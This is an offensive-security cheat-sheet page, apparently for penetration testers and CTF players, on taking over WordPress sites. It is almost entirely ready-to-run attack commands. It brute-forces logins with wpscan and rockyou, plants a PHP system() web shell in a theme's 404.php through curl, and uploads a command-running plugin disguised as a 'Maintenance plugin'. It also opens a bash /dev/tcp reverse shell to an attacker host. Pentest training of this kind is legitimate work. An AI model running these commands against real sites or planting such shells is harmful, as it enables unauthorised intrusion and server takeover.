Skip to content
HackIndex logo

HackIndex

WordPress Exploitation

2 min read Apr 24, 2026

WordPress exploitation targets weak admin credentials, vulnerable plugins, and the theme editor for web shell delivery. Most WordPress compromises on CTF targets and real engagements follow the same path: find credentials through enumeration or bruteforce, authenticate to wp-admin, and plant a web shell through the theme editor or a plugin upload. Run WordPress enumeration first to identify users, version, and plugins.

Credential Attack with wpscan

Use the user list from enumeration to bruteforce the login:

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP:$PORT/ --usernames admin,editor,user --passwords /usr/share/wordlists/rockyou.txt --password-attack xmlrpc 
[SUCCESS] Login : admin / password123
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP:$PORT/ -U users.txt -P /usr/share/wordlists/rockyou.txt --password-attack wp-login

Theme Editor Web Shell

With admin credentials, plant a web shell in a theme file through the theme editor. The 404.php file of an inactive theme is the least disruptive target:

┌──(kali㉿kali)-[~]
└─$ curl -sk -c /tmp/wp_cookies.txt -X POST http://$TARGET_IP:$PORT/wp-login.php -d "log=admin&pwd=password123&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" -H 'Cookie: wordpress_test_cookie=WP+Cookie+check'
┌──(kali㉿kali)-[~]
└─$ NONCE=$(curl -sk -b /tmp/wp_cookies.txt http://$TARGET_IP:$PORT/wp-admin/theme-editor.php?file=404.php | grep -o 'nonce":"[^"]*' | cut -d'"' -f3)
┌──(kali㉿kali)-[~]
└─$ curl -sk -b /tmp/wp_cookies.txt -X POST http://$TARGET_IP:$PORT/wp-admin/theme-editor.php -d "nonce=$NONCE&action=edit-theme-plugin-file&file=404.php&theme=twentytwentyone&newcontent=<?php+system(\$_GET['cmd']);+?>"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/wp-content/themes/twentytwentyone/404.php?cmd=id" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Plugin Upload Web Shell

Upload a malicious plugin ZIP through the admin panel for cleaner shell delivery:

<?php
/**
 * Plugin Name: WP Shell
 * Description: Maintenance plugin
 */
if(isset($_GET['cmd'])) { system($_GET['cmd']); }
┌──(kali㉿kali)-[~]
└─$ mkdir wp-shell && cp shell.php wp-shell/ && zip -r wp-shell.zip wp-shell/
┌──(kali㉿kali)-[~]
└─$ curl -sk -b /tmp/wp_cookies.txt -F '[email protected]' http://$TARGET_IP:$PORT/wp-admin/update.php?action=upload-plugin
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/wp-content/plugins/wp-shell/shell.php?cmd=id"

Reverse Shell

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/wp-content/themes/twentytwentyone/404.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

References